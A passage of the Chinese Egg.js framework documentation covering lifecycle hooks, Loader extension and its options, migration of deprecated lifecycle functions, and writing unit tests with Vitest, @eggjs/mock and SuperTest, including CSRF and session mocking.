    // 所有插件已启动，在应用准备就绪前可执行一些操作。
  }

  async didReady() {
    // worker 已准备就绪，在这里可以执行一些操作，
    // 这些操作不会阻塞应用启动。
  }

  async serverDidReady() {
    // 服务器已开始监听。
  }

  async beforeClose() {
    // 应用关闭前执行一些操作。
  }
}

module.exports = AppBootHook;
```

开发者使用类的方式定义 `app.js` 和 `agent.js` 后，框架将自动加载并实例化这个类，并在各个生命周期阶段调用相应的方法。

启动过程如图所示：

![](https://user-images.githubusercontent.com/40081831/47344271-a688d500-d6da-11e8-96e9-663fa9f45108.png)

**在使用 `beforeClose` 时，需要注意：框架在处理关闭进程时设有超时限制。如果 worker 进程在收到退出信号后，未能在规定时间内退出，则会被强制终止。**

如需调整超时时间，请查阅[相关文档](https://github.com/eggjs/egg-cluster)。

弃用的方法：

## beforeStart

`beforeStart` 方法在加载过程中调用，所有方法并行执行。通常用于执行一些异步任务，例如检查连接状态等。例如，[`egg-mysql`](https://github.com/eggjs/egg-mysql/blob/master/lib/mysql.js) 使用 `beforeStart` 来检查 MySQL 的连接状态。所有 `beforeStart` 任务结束后，应用将进入 `ready` 状态。不建议执行耗时长的方法，可能导致应用启动超时。插件开发者应使用 `didLoad` 替代，应用开发者应使用 `willReady` 替代。

## ready

注册到 `ready` 方法的任务将在加载结束后，所有 `beforeStart` 方法执行完毕后顺序执行，HTTP 服务器监听也在此时开始。此时代表所有插件已加载完成且准备工作已完成，通常用于执行一些启动后置任务。开发者应使用 `didReady` 替代。

## beforeClose

`beforeClose` 注册方法在 app/agent 实例的 `close` 方法调用后，按注册的逆序执行。通常用于资源释放操作，例如 [`egg`](https://github.com/eggjs/egg/blob/master/lib/egg.js) 用于关闭日志、移除监听器等。开发者不应直接使用 `app.beforeClose`，而是通过定义类的形式，实现 `beforeClose` 方法。

**此方法不建议在生产环境使用，因可能会出现未完全执行结束就结束进程的情况。**

另外，我们可以使用 [`@eggjs/development`](https://github.com/eggjs/development#loader-trace) 来查看加载过程。

### 文件加载规则

框架在加载文件时会进行转换，因为文件命名风格与 API 风格有所差异。我们推荐文件使用下划线命名，而 API 使用驼峰命名。例如 `app/service/user_info.js` 会转换为 `app.service.userInfo`。

框架也支持其它风格命名的文件；连字符和驼峰方式命名的文件同样支持：

* `app/service/user-info.js` => `app.service.userInfo`
* `app/service/userInfo.js` => `app.service.userInfo`

Loader 也提供了 [caseStyle](#caseStyle-string) 设置来强制指定命名方式，如将 model 加载时的 API 首字母大写，`app/model/user.js` => `app.model.User`，可指定 `caseStyle: 'upper'`。

## 扩展 Loader

`Loader` 是一个基类，并根据文件加载的规则提供了一些内置的方法。它本身并不会去调用这些方法，而是由继承类调用。

* `loadPlugin()`
* `loadConfig()`
* `loadAgentExtend()`
* `loadApplicationExtend()`
* `loadRequestExtend()`
* `loadResponseExtend()`
* `loadContextExtend()`
* `loadHelperExtend()`
* `loadCustomAgent()`
* `loadCustomApp()`
* `loadService()`
* `loadMiddleware()`
* `loadController()`
* `loadRouter()`

`Egg` 基于 `Loader` 实现了 `AppWorkerLoader` 和 `AgentWorkerLoader`，上层框架基于这两个类来扩展。**Loader 的扩展只能在框架进行**。

```js
// 自定义 AppWorkerLoader
// lib/framework.js
const path = require('path');
const egg = require('egg');

class YadanAppWorkerLoader extends egg.AppWorkerLoader {
  constructor(opt) {
    super(opt);
    // 自定义初始化
  }

  loadConfig() {
    super.loadConfig();
    // 对 config 进行处理
  }

  load() {
    super.load();
    // 自定义加载其他目录
    // 或对已加载的文件进行处理
  }
}

class Application extends egg.Application {
  protected override customEggPaths() {
    return [path.dirname(__dirname), ...super.customEggPaths()];
  }
  // 覆盖 Egg 的 Loader，启动时使用这个 Loader
  protected override customEggLoader() {
    return YadanAppWorkerLoader;
  }
}

module.exports = Object.assign(egg, {
  Application,
  // 自定义的 Loader 也需要 export，上层框架需要基于这个扩展
  AppWorkerLoader: YadanAppWorkerLoader,
});
```

通过 `Loader` 提供的这些 API，可以很方便地定制团队的自定义加载，例如 `this.model.xx`，`app/extend/filter.js` 等等。

以上只是说明 `Loader` 的写法，具体可以查看[框架开发](./framework.md)。

## 加载器函数（Loader API）

Loader 提供了一些基础 API，方便在扩展时简化代码。想了解所有相关 API，请[点击此处](https://github.com/eggjs/egg-core#eggloader)。

### loadFile

此函数用来加载文件，例如加载 `app/xx.js` 就会用到它。

```js
// app/xx.js
module.exports = (app) => {
  console.log(app.config);
};

// app.js
// 以 app/xx.js 为例子，在 app.js 中加载此文件：
const path = require('path');
module.exports = (app) => {
  app.loader.loadFile(path.join(app.config.baseDir, 'app/xx.js'));
};
```

如果文件导出了一个函数，这个函数会被调用，`app` 作为参数传入；如果不是函数，则直接使用文件导出的值。

### loadToApp

此函数用来将一个目录下的文件加载到 app 对象上，例如 `app/controller/home.js` 会被加载到 `app.controller.home`。

```js
// app.js
// 以下只是示例，加载 controller 请用 loadController
module.exports = (app) => {
  const directory = path.join(app.config.baseDir, 'app/controller');
  app.loader.loadToApp(directory, 'controller');
};
```

`loadToApp` 有三个参数：`loadToApp(directory, property, LoaderOptions)`

1. `directory` 可以是字符串或数组。Loader 会从这些目录中加载文件。
2. `property` 是 app 的属性名。
3. [`LoaderOptions`](#LoaderOptions) 包含了一些配置选项。

### loadToContext

`loadToContext` 与 `loadToApp` 略有不同，它是将文件加载到 `ctx` 上，而不是 `app`，并且支持懒加载。加载操作会将文件放到一个临时对象中，在调用 `ctx` API 时才去实例化。

例如，加载 service 文件的方式就用到了这种模式：

```js
// 以下为示例，请使用 loadService
// app/service/user.js
const Service = require('egg').Service;
class UserService extends Service {}
module.exports = UserService;

// app.js
// 获取所有的 loadUnit
const servicePaths = app.loader
  .getLoadUnits()
  .map((unit) => path.join(unit.path, 'app/service'));

app.loader.loadToContext(servicePaths, 'service', {
  // service 需要继承 app.Service，因此需要 app 参数
  // 设置 call 为 true，会在加载时调用函数，并返回 UserService
  call: true,
  // 将文件加载到 app.serviceClasses
  fieldClass: 'serviceClasses',
});
```

文件加载完成后，`app.serviceClasses.user` 就代表 UserService 类。当调用 `ctx.service.user` 时，会实例化 UserService 类。因此，这个类只有在每次请求中首次被访问时才会实例化。实例化后，对象会被缓存，同一个请求中多次调用也只实例化一次。

### LoaderOptions

#### ignore \[String]

`ignore` 可用于忽略某些文件，支持 glob 匹配模式，默认值为空。

```js
app.loader.loadToApp(directory, 'controller', {
  // 忽略 app/controller/util 目录下的文件
  ignore: 'util/**',
});
```

#### initializer \[Function]

对每个文件 export 的值进行处理，此项默认为空。

```js
// app/model/user.js
module.exports = class User {
  constructor(app, path) {}
};

// 从 app/model 目录加载，且可以在加载时进行一些初始化处理
const directory = path.join(app.config.baseDir, 'app/model');
app.loader.loadToApp(directory, 'model', {
  initializer(model, opt) {
    // 第一个参数为 export 的对象
    // 第二个参数为一个对象，里面包含当前文件的路径
    return new model(app, opt.path);
  },
});
```

#### caseStyle \[String]

设置文件命名的转换规则，可选项为 `camel`、`upper` 或 `lower`，默认值为 `camel`。

这些选项都会将文件名转换为驼峰命名，但是首字符的大小写处理不同：

* `camel`：首字母保持不变。
* `upper`：首字母转为大写。
* `lower`：首字母转为小写。

根据不同文件类型设置相应的转换规则，如下表所示：

| 文件类型       | `caseStyle` 配置 |
| -------------- | ---------------- |
| app/controller | lower            |
| app/middleware | lower            |
| app/service    | lower            |

#### override \[Boolean]

当存在同名文件时，是否覆盖原有文件，或抛出异常。默认值为 `false`。

例如，当同时加载应用和插件中的 `app/service/user.js` 文件时：

* 若 `override` 设为 `true`，则应用中的文件会覆盖插件中的同名文件。
* 若设为 `false`，则在尝试加载应用中的文件时会报错。

根据不同文件类型设置 `override` 的配置值，如下表所示：

| 文件类型       | `override` 配置 |
| -------------- | --------------- |
| app/controller | true            |
| app/middleware | false           |
| app/service    | false           |

#### call \[Boolean]

若 export 出的对象是函数，则可以调用此函数并获取其返回值，默认值为 `true`。

根据不同文件类型设置 `call` 的配置值，如下表所示：

| 文件类型       | `call` 配置 |
| -------------- | ----------- |
| app/controller | true        |
| app/middleware | false       |
| app/service    | true        |

## CustomLoader

`loadToContext` 和 `loadToApp` 方法可以通过 `customLoader` 的配置来替代。

以下是用 `loadToApp` 方法加载代码的示例：

```js
// app.js
module.exports = (app) => {
  const directory = path.join(app.config.baseDir, 'app/adapter');
  app.loader.loadToApp(directory, 'adapter');
};
```

改为使用 `customLoader` 后的写法是：

```js
// config/config.default.js
module.exports = {
  customLoader: {
    // 在 app 对象上定义的属性名为 app.adapter
    adapter: {
      // 路径相对于 app.config.baseDir
      directory: 'app/adapter',
      // 如果用于 ctx，则应该使用 loadToContext 方法
      inject: 'app',
      // 是否加载框架和插件的目录
      loadunit: false,
      // 也可以定义其他 LoaderOptions
    },
  },
};
```

参考链接：

* [loader](https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js)
* [appworkerloader](https://github.com/eggjs/egg/blob/master/lib/loader/app_worker_loader.js)
* [agentworkerloader](https://github.com/eggjs/egg/blob/master/lib/loader/agent_worker_loader.js)

---

---
url: /zh-CN/advanced/loader-update.md
---
# 升级你的生命周期事件函数

为了使得大家更方便地控制加载应用和插件的时机，我们对 Loader 的生命周期函数进行了精简处理。概括地说，生命周期事件目前总共可以分成两种形式：

1. 函数形式（已经作废，仅为兼容保留）。
2. 类形式（推荐使用）。

## beforeStart 函数替代

我们通常在 `app.ts` 中通过 `export default` 中传入的 `app` 参数进行此函数的操作，一个典型的例子：

```ts
import type { Application } from 'egg';

export default (app: Application) => {
  app.beforeStart(async () => {
    // 此处是你原来的逻辑代码
  });
};
```

现在升级之后的写法略有改变 —— 我们可以直接在 `app.ts` 中用类方法的形式体现出来。对于应用开发而言，应该写在 `willReady` 方法中；对于插件则写在 `didLoad` 中。形式如下：

```ts
// app.ts 或 agent.ts 文件：
import type { Application, ILifecycleBoot } from 'egg';

export default class AppBootHook implements ILifecycleBoot {
  private readonly app: Application;
  constructor(app: Application) {
    this.app = app;
  }

  async didLoad() {
    // 请将你的插件项目中 app.beforeStart 中的代码置于此处
  }

  async willReady() {
    // 请将你的应用项目中 app.beforeStart 中的代码置于此处
  }
}
```

## ready 函数替代

同样地，我们之前在 `app.ready` 中处理我们的逻辑：

```ts
import type { Application } from 'egg';

export default (app: Application) => {
  app.ready(async () => {
    // 此处是你原来的逻辑代码
  });
};
```

现在直接用 `didReady` 进行替换：

```ts
// app.ts 或 agent.ts 文件：
import type { Application, ILifecycleBoot } from 'egg';

export default class AppBootHook implements ILifecycleBoot {
  private readonly app: Application;

  constructor(app: Application) {
    this.app = app;
  }

  async didReady() {
    // 请将你的 app.ready 中的代码置于此处
  }
}
```

## beforeClose 函数替代

原先的 `app.beforeClose` 如以下形式：

```ts
import type { Application } from 'egg';

export default (app: Application) => {
  app.beforeClose(async () => {
    // 此处是你原来的逻辑代码
  });
};
```

现在我们只需使用类方法 `beforeClose` 替代即可：

```ts
// app.ts 或 agent.ts 文件：
import type { Application, ILifecycleBoot } from 'egg';

export default class AppBootHook implements ILifecycleBoot {
  private readonly app: Application;

  constructor(app: Application) {
    this.app = app;
  }

  async beforeClose() {
    // 请将你的 app.beforeClose 中的代码置于此处
  }
}
```

## 其它说明

本教程只是一对一地讲了替换方法，便于开发者们快速上手进行替换。
若想要具体了解整个 Loader 原理以及生命周期的完整函数版本，请参考《[加载器](./loader.md)》和《[启动自定义](../basics/app-start.md)》两篇文章。

---

---
url: /zh-CN/core/unittest.md
---
# 单元测试

## 为什么要单元测试

先问我们自己以下几个问题：

* 你的代码质量如何度量？
* 你是如何保证代码质量？
* 你敢随时重构代码吗？
* 你是如何确保重构的代码依然保持正确性？
* 你是否有足够信心在没有测试的情况下随时发布你的代码？

如果答案都比较犹豫，那么就证明我们非常需要单元测试。

它能带给我们很多保障：

* 代码质量持续有保障
* 重构正确性保障
* 增强自信心
* 自动化运行

Web 应用中的单元测试更加重要，Web 产品快速迭代的时期，每个测试用例都为应用的稳定性提供了保障。API 升级时，测试用例可以很好地检查代码是否向下兼容。对于各种可能的输入，一旦测试覆盖，都能明确它的输出。代码改动后，可以通过测试结果判断代码的改动是否影响了已确定的结果。

所以，应用的 Controller、Service、Helper、Extend 等代码，都必须有对应的单元测试以保证代码质量。当然，框架和插件的每个功能改动和重构都需要有相应的单元测试，并且要求尽量做到修改的代码能被 100% 覆盖到。

## 测试框架

从 [npm 搜索”test framework”](https://www.npmjs.com/search?q=test%20framework\&page=1\&ranking=popularity) 我们会发现有大量测试框架存在，每个测试框架都有它的独特之处。

### Vitest

从 `@eggjs/bin` v8 开始，Egg 使用 [Vitest](https://vitest.dev) 作为默认的测试运行器。Vitest 是基于 Vite 的下一代测试框架，提供原生 TypeScript 支持、快速执行和现代化的测试体验。

> Vitest 是一个基于 Vite 的极速单元测试框架，提供原生 ESM 支持，开箱即用的 TypeScript 支持，以及 Vite 驱动的转换管道。

主要优势：

* **原生 TypeScript 支持** — 无需 ts-node 或额外的 loader
* **快速执行** — 利用 Vite 的转换管道
* **内置 watch 模式** — 开发时即时反馈
* **兼容的 API** — 支持 `describe`、`it`、`beforeAll`、`afterAll` 等
* **内置覆盖率** — 通过 `@vitest/coverage-v8`，无需外部工具

### Mocha（旧版）

`@eggjs/bin` 之前的版本（v7 及更早）使用 [Mocha](http://mochajs.org) 作为测试运行器。如果你从 Mocha 迁移，请注意以下钩子名称变更：

| Mocha          | Vitest                 |
| -------------- | ---------------------- |
| `before()`     | `beforeAll()`          |
| `after()`      | `afterAll()`           |
| `beforeEach()` | `beforeEach()`（相同） |
| `afterEach()`  | `afterEach()`（相同）  |

## 断言库

我们推荐使用 Node.js 内置的 [assert](https://nodejs.org/api/assert.html) 模块进行断言。它遵循『无 API 是最好的 API』的原则——简单、熟悉，且无需额外依赖。

```js
import assert from 'node:assert';

assert(result.status === 200);
assert.equal(user.name, 'fengmk2');
assert.deepStrictEqual(data, { foo: 'bar' });
```

Vitest 也提供了内置的 `expect` API，如果你偏好 BDD 风格的断言：

```js
import { expect } from 'vitest';

expect(result.status).toBe(200);
expect(user.name).toBe('fengmk2');
```

## 测试约定

为了让我们更多地关注测试用例本身如何编写，而不是耗费时间在如何运行测试脚本等辅助工作上，框架对单元测试做了一些基本约定。

### 测试目录结构

我们约定 `test` 目录为存放所有测试脚本的目录，测试所使用到的 `fixtures` 和相关辅助脚本都应该放在此目录下。

测试脚本文件统一按 `${filename}.test.js` 命名，必须以 `.test.js` 作为文件后缀。

以下为一个应用的测试目录示例：

```bash
test
├── controller
│   └── home.test.js
├── hello.test.js
└── service
    └── user.test.js
```

### 测试运行工具

统一使用 [egg-bin 运行测试脚本](https://github.com/eggjs/egg-bin#test)，内部使用 [Vitest](https://vitest.dev) 运行测试。egg-bin 自动配置 vitest 的合理默认值，让我们**聚焦精力在编写测试代码**上，而不是纠结选择哪些测试周边工具和模块。

egg-bin 提供的主要功能：

* 自动检测 TypeScript 并配置 vitest
* 自动加载 `test/.setup.ts`（或 `.setup.js`）作为 setup 文件
* 对于 egg 应用，自动注入 `@eggjs/mock/setup_vitest`（处理 app 生命周期）
* 注入 vitest 全局变量（`describe`、`it`、`beforeAll` 等），纯 JS 测试文件无需导入

只需在 `package.json` 上配置好 `scripts.test` 即可。

```json
{
  "scripts": {
    "test": "egg-bin test"
  }
}
```

然后就可以按标准的 `npm test` 来运行测试了。

```bash
npm test

> unittest-example@ test /Users/mk2/git/github.com/eggjs/examples/unittest
> egg-bin test

 ✓ test/hello.test.js (1 test) 10ms

 Test Files  1 passed (1)
      Tests  1 passed (1)
```

### 环境变量

egg-bin 提供了以下环境变量来控制 vitest 的运行行为：

| 环境变量               | 可选值              | 默认值    | 说明                                                                                                                                                                                                                         |
| ---------------------- | ------------------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `EGG_VITEST_POOL`      | `threads` / `forks` | `threads` | Vitest 工作池类型。`threads` 使用 worker\_threads，启动更快；`forks` 使用子进程，提供完全隔离。设为 `threads` 时，`@eggjs/mock` 会自动切换为 `worker_threads` 启动模式，使 cluster-client 使用基于线程的 IPC 而非进程间通信。 |
| `EGG_VITEST_ISOLATE`   | `true` / `false`    | `false`   | 是否在独立环境中隔离测试文件。设为 `false`（共享模式）时，同一 worker 内所有测试文件共享同一个 app 实例，显著提升测试速度。设为 `true` 时，每个测试文件拥有独立的隔离环境。                                                  |
| `EGG_FILE_PARALLELISM` | `true` / `false`    | `false`   | 是否跨 worker 并行运行测试文件。设为 `false` 时，测试文件按顺序执行。                                                                                                                                                        |

可以在 `package.json` scripts 中设置，也可以通过命令行参数传入：

```json
{
  "scripts": {
    "test": "egg-bin test",
    "test:forks": "EGG_VITEST_POOL=forks egg-bin test",
    "test:isolate": "EGG_VITEST_ISOLATE=true egg-bin test"
  }
}
```

或使用 `--pool` 参数：

```bash
egg-bin test --pool forks
```

> **注意：** 在共享模式（`EGG_VITEST_ISOLATE=false`）下，静态变量和内存状态会在测试文件间持久化。请确保在 `afterEach` 钩子中清理共享状态，避免测试间的状态污染。

## 准备测试

本文主要介绍了如何编写应用的单元测试，关于框架和插件的单元测试请查看[框架开发](https://eggjs.org/zh-cn/advanced/framework.html)和[插件开发](https://eggjs.org/zh-cn/advanced/plugin.html)相关章节。

### mock

正常来说，如果要完整手写一个创建和启动 app 的脚本，还是需要写一段初始化脚本的，并且还需要在测试结束后进行一些清理工作，比如删除临时文件、销毁 app 等。

我们可能还需要模拟各种网络异常、服务访问异常等特殊情况。

因此我们单独为框架抽取了一个测试 mock 辅助模块：**`@eggjs/mock`**（历史上也常被称为 egg-mock）。有了它我们就可以非常快速地编写应用单元测试，并且还能快速创建 ctx 来测试属性、方法和 Service 等。

* 仓库（Egg 3.x）：https://github.com/eggjs/mock/tree/4.x
* 也可以参考：[测试 Mock 工具（@eggjs/mock / mm）](./mock.md)

### app

在测试运行之前，我们首先要创建应用的一个 app 实例，通过它来访问需要被测试的 Controller、Middleware、Service 等应用层代码。

通过 `@eggjs/mock`，结合 `beforeAll` 钩子，可以便捷地创建出一个 app 实例。

```typescript
// test/controller/home.test.ts
import assert from 'node:assert';
import { mock } from '@eggjs/mock';
import { beforeAll, describe } from 'vitest';

describe('test/controller/home.test.ts', () => {
  let app;
  beforeAll(async () => {
    // 创建当前应用的 app 实例
    app = mock.app();
    // 等待 app 启动成功，才能执行测试用例
    await app.ready();
  });
});
```

这样我们就拿到了一个 app 的引用，接下来所有测试用例都会基于这个 app 进行。更多关于创建 app 的信息请查看 [`mock.app(options)`](https://github.com/eggjs/egg-mock#appoptions) 文档。

考虑到每个测试文件都需要这样创建 app 实例会非常冗余，因此 `@eggjs/mock` 提供了一个 bootstrap 文件，直接从其上面获取常用的实例：

```typescript
// test/controller/home.test.ts
import { app, mock } from '@eggjs/mock/bootstrap';
import assert from 'node:assert';

describe('test/controller/home.test.ts', () => {
  // 测试用例
});
```

> **提示：** 使用 egg-bin 时，`@eggjs/mock/setup_vitest` 会被自动注入为 vitest 的 setup 文件。它会自动处理 `beforeAll`（启动 app）、`afterEach`（恢复 mock）和 `afterAll`（关闭 app）。

### ctx

除了 app，我们还需要一种便捷的方式来获得 ctx，以便进行 Extend、Service、Helper 等测试。
已经通过上述方法拿到了一个 app，结合 egg-mock 提供的 [`app.mockContext(options)`](https://github.com/eggjs/egg-mock#appmockcontextoptions) 方法可以快速创建一个 ctx 实例。

```typescript
it('should get a ctx', () => {
  const ctx = app.mockContext();
  assert(ctx.method === 'GET');
  assert(ctx.url === '/');
});
```

如果要模拟 `ctx.user`，也可以通过给 mockContext 传递数据参数实现：

```typescript
it('should mock ctx.user', () => {
  const ctx = app.mockContext({
    user: {
      name: 'fengmk2',
    },
  });
  assert(ctx.user);
  assert(ctx.user.name === 'fengmk2');
});
```

现在我们已经拿到了 app，也知道如何创建一个 ctx，可以开始进行更多的单元测试了。

## 测试执行顺序

特别需要注意的是执行顺序，应确保在执行某个用例时，相关代码才被执行。

一些常见的错误写法如下：

```ts
// Bad
import { app } from '@eggjs/mock/bootstrap';

describe('bad test', () => {
  doSomethingBefore();

  it('should redirect', () => {
    return app.httpRequest().get('/').expect(302);
  });
});
```

测试框架在开始运行时将载入所有的测试用例，此时 describe 方法会被调用，那么 `doSomethingBefore` 也就提前被触发了。如果期望通过 only 方式执行某个特定测试用例，那段代码依然会被执行，这是不符合预期的。

一个正确的做法是将其放入 `beforeAll` 中，只有在运行这个测试套件中的某个用例时，相关代码才会执行。

```ts
// Good
import { app } from '@eggjs/mock/bootstrap';

describe('good test', () => {
  beforeAll(() => doSomethingBefore());

  it('should redirect', () => {
    return app.httpRequest().get('/').expect(302);
  });
});
```

Vitest 通过 `beforeAll`/`afterAll`/`beforeEach`/`afterEach` 来处理前置和后置任务，这几个钩子基本上能处理所有的问题。每个测试用例会按照如下顺序执行：`beforeAll` -> `beforeEach` -> `it` -> `afterEach` -> `afterAll`，并且可以定义多个。

```ts
describe('egg test', () => {
  beforeAll(() => console.log('order 1'));
  beforeAll(() => console.log('order 2'));
  afterAll(() => console.log('order 6'));
  beforeEach(() => console.log('order 3'));
  afterEach(() => console.log('order 5'));
  it('should worker', () => console.log('order 4'));
});
```

## 异步测试

egg-bin 支持异步测试，它提供了多种方式：

```js
// 使用返回 Promise 的方法
it('should redirect', () => {
  return app.httpRequest().get('/').expect(302);
});

// 使用回调函数的方法
it('should redirect', (done) => {
  app.httpRequest().get('/').expect(302, done);
});

// 使用 async
it('should redirect', async () => {
  await app.httpRequest().get('/').expect(302);
});
```

根据不同的应用场景，应当选择适合的写法。如果遇到多个异步操作，可以使用 async 函数，或者可以把它们拆分成多个测试用例。
修改后的内容：

## Controller 测试

Controller 在整个应用代码里面属于较为难测试的部分。因为它与 router 配置紧密相关，所以我们需要利用 `app.httpRequest()` 接口结合 [SuperTest](https://github.com/visionmedia/supertest) 发起真实请求，来将 Router 与 Controller 连接起来。同时，它可以帮助我们发送各种满足边界条件的请求数据，以此测试 Controller 参数校验的完整性。 `app.httpRequest()` 是由 [egg-mock](https://github.com/eggjs/egg-mock) 封装的 SuperTest 请求实例。

例如，我们要为 `app/controller/home.js` 编写单元测试：

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('homepage', '/', controller.home.index);
};

// app/controller/home.js
class HomeController extends Controller {
  async index() {
    this.ctx.body = 'hello world';
  }
}
```

其对应的测试代码 `test/controller/home.test.js` 如下：

```ts
import { app } from '@eggjs/mock/bootstrap';
import assert from 'node:assert';

describe('test/controller/home.test.ts', () => {
  describe('GET /', () => {
    it('应该返回状态码为 200 并获取到内容', () => {
      // 对 app 发起 `GET /` 请求
      return app
        .httpRequest()
        .get('/')
        .expect(200) // 期望返回状态码为 200
        .expect('hello world'); // 期望响应内容为 hello world
    });

    it('应该发送多个请求', async () => {
      // 使用 async 方式编写测试用例，可以在一个用例中串行发起多次请求
      await app
        .httpRequest()
        .get('/')
        .expect(200) // 期望返回状态码 200
        .expect('hello world'); // 期望响应内容为 hello world

      // 再次请求
      const result = await app
        .httpRequest()
        .get('/')
        .expect(200)
        .expect('hello world');

      // 也可以这样验证
      assert(result.status === 200);
    });
  });
});
```

通过基于 SuperTest 的 `app.httpRequest()` 我们可以轻松发起 GET、POST、PUT 等 HTTP 请求。它拥有非常丰富的请求数据构造接口，例子如下，我们可以以 POST 方式发送一个 JSON 请求：

```js
// app/controller/home.js
class HomeController extends Controller {
  async post() {
    this.ctx.body = this.ctx.request.body;
  }
}

// test/controller/home.test.js
it('应该返回状态码 200 并获取到请求体', () => {
  // 模拟 CSRF token，下文会详细说明
  app.mockCsrf();
  return app
    .httpRequest()
    .post('/post')
    .type('form')
    .send({
      foo: 'bar',
    })
    .expect(200)
    .expect({
      foo: 'bar',
    });
});
```

更详尽的 HTTP 请求构造方式，请查看 [SuperTest 文档](https://github.com/visionmedia/supertest#getting-started)。

### 模拟 CSRF

框架的默认安全插件会自动启用 [CSRF 防护](./security.md#安全威胁csrf的防范)。如果要完全按照 CSRF 校验逻辑进行测试，那么代码必须首先发起一次页面请求，通过解析 HTML 获得 CSRF token，再利用此 token 发起 POST 请求。

因此，egg-mock 为 app 添加了 `app.mockCsrf()` 方法，用于模拟获取 CSRF token 的过程。这样，我们就可以在利用 SuperTest 请求 app 时，自动通过 CSRF 校验。

```js
app.mockCsrf();
return app
  .httpRequest()
  .post('/post')
  .type('form')
  .send({
    foo: 'bar',
  })
  .expect(200)
  .expect({
    foo: 'bar',
  });
```

## Service 层的单元测试

Service 层相比于 Controller 层来说，测试起来更简单。我们只需要首先创建一个 `ctx`，然后通过 `ctx.service.${serviceName}` 取得 Service 实例，接着即可调用 Service 方法进行测试。

例如：

```js
// app/service/user.js
class UserService extends Service {
  async get(name) {
    return await userDatabase.get(name);
  }
}

// 单元测试代码如下：

describe('get()', () => {
  it('应该获取已存在的用户', async () => {
    // 创建 ctx
    const ctx = app.mockContext();
    // 通过 ctx 访问 service.user
    const user = await ctx.service.user.get('fengmk2');
    assert(user);
    assert(user.name === 'fengmk2');
  });

  it('当用户不存在时应返回 null', async () => {
    const ctx = app.mockContext();
    const user = await ctx.service.user.get('fengmk1');
    assert(!user);
  });
});
```

当然，实际中的 Service 代码不会像示例中展示的这般简单，这里只是为了演示如何测试 Service。

## Extend 测试

应用可以对 Application、Request、Response、Context 和 Helper 进行扩展。我们可以对扩展的方法或者属性针对性的编写单元测试。

### Application

egg-mock 创建 app 的时候，已经将 Application 的扩展自动加载到 app 实例了，直接使用这个 app 实例访问扩展的属性和方法即可进行测试。

例如 `app/extend/application.js`，我们给 app 增加了一个基于 [ylru](https://github.com/node-modules/ylru) 的缓存功能：

```js
const LRU = Symbol('Application#lru');
const LRUCache = require('ylru');
module.exports = {
  get lru() {
    if (!this[LRU]) {
      this[LRU] = new LRUCache(1000);
    }
    return this[LRU];
  },
};
```

对应的单元测试：

```js
describe('get lru', () => {
  it('should get an lru and it should work', () => {
    // 设置缓存
    app.lru.set('foo', 'bar');
    // 读取缓存
    assert(app.lru.get('foo') === 'bar');
  });
});
```

可以看到，测试 Application 的扩展是非常容易的。

### Context

测试 Context 扩展只需多一个 `app.mockContext()` 步骤来模拟创建一个 Context 对象。

例如在 `app/extend/context.js` 中增加一个 `isXHR` 属性，用于判断请求是否通过 [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/setRequestHeader) 发起：

```js
module.exports = {
  get isXHR() {
    return this.get('X-Requested-With') === 'XMLHttpRequest';
  },
};
```

对应的单元测试：

```js
describe('isXHR()', () => {
  it('should be true', () => {
    const ctx = app.mockContext({
      headers: {
        'X-Requested-With': 'XMLHttpRequest',
      },
    });
    assert(ctx.isXHR === true);
  });

  it('should be false', () => {
    const ctx = app.mockContext({
      headers: {
        'X-Requested-With': 'SuperAgent',
      },
    });
    assert(ctx.isXHR === false);
  });
});
```

### Request

通过 `ctx.request` 访问 Request 扩展的属性和方法，测试即可直接进行。

例如在 `app/extend/request.js` 中增加一个 `isChrome` 属性，用于判断请求是否由 Chrome 浏览器发起：

```js
const IS_CHROME = Symbol('Request#isChrome');
module.exports = {
  get isChrome() {
    if (!this[IS_CHROME]) {
      const ua = this.get('User-Agent').toLowerCase();
      this[IS_CHROME] = ua.includes('chrome/');
    }
    return this[IS_CHROME];
  },
};
```

对应的单元测试：

```js
describe('isChrome()', () => {
  it('should be true', () => {
    const ctx = app.mockContext({
      headers: {
        'User-Agent': 'Chrome/56.0.2924.51',
      },
    });
    assert(ctx.request.isChrome === true);
  });

  it('should be false', () => {
    const ctx = app.mockContext({
      headers: {
        'User-Agent': 'FireFox/1',
      },
    });
    assert(ctx.request.isChrome === false);
  });
});
```

Response 测试与 Request 完全一致。
通过 `ctx.response` 来访问 Response 扩展的属性和方法，直接即可进行测试。

例如在 `app/extend/response.js` 中增加一个 `isSuccess` 属性，判断当前响应状态码是否 200：

```js
module.exports = {
  get isSuccess() {
    return this.status === 200;
  },
};
```

对应的单元测试：

```js
describe('isSuccess()', () => {
  it('should return true when status is 200', () => {
    const ctx = app.mockContext();
    ctx.status = 200;
    assert(ctx.response.isSuccess === true);
  });

  it('should return false when status is not 200', () => {
    const ctx = app.mockContext();
    ctx.status = 404;
    assert(ctx.response.isSuccess === false);
  });
});
```

Helper 测试方式与 Service 类似，也是通过 ctx 来访问到 Helper，然后调用 Helper 方法进行测试。
例如 `app/extend/helper.js`

```js
module.exports = {
  money(val) {
    const lang = this.ctx.get('Accept-Language');
    if (lang.includes('zh-CN')) {
      return `￥ ${val}`;
    }
    return `$ ${val}`;
  },
};
```

对应的单元测试：

```js
describe('money()', () => {
  it('should return RMB when Accept-Language includes zh-CN', () => {
    const ctx = app.mockContext({
      // 模拟 ctx 的 headers
      headers: {
        'Accept-Language': 'zh-CN,zh;q=0.5',
      },
    });
    assert(ctx.helper.money(100) === '￥ 100');
  });

  it('should return US Dollar when Accept-Language does not include zh-CN', () => {
    const ctx = app.mockContext();
    assert(ctx.helper.money(100) === '$ 100');
  });
});
```

## Mock 方法

`egg-mock` 除了上面介绍过的 `app.mockContext()` 和 `app.mockCsrf()` 方法外，还提供了[非常多的 mock 方法](https://github.com/eggjs/egg-mock#api)帮助我们便捷地写单元测试。

* 如果我们不想在终端 console 输出任何日志，可以通过 `mock.consoleLevel('NONE')` 来模拟。
* 例如，我们想模拟一次请求的 Session 数据，可以通过 `app.mockSession(data)` 来模拟。

  ```js
  describe('GET /session', () => {
    it('should mock session work', () => {
      app.mockSession({
        foo: 'bar',
        uid: 123,
      });
      return app
        .httpRequest()
        .get('/session')
        .expect(200)
        .expect({
          session: {
            foo: 'bar',
            uid: 123,
          },
        });
    });
  });
  ```

因为 mock 之后会一直生效，我们需要避免每个单元测试用例之间不能相互 mock 污染，
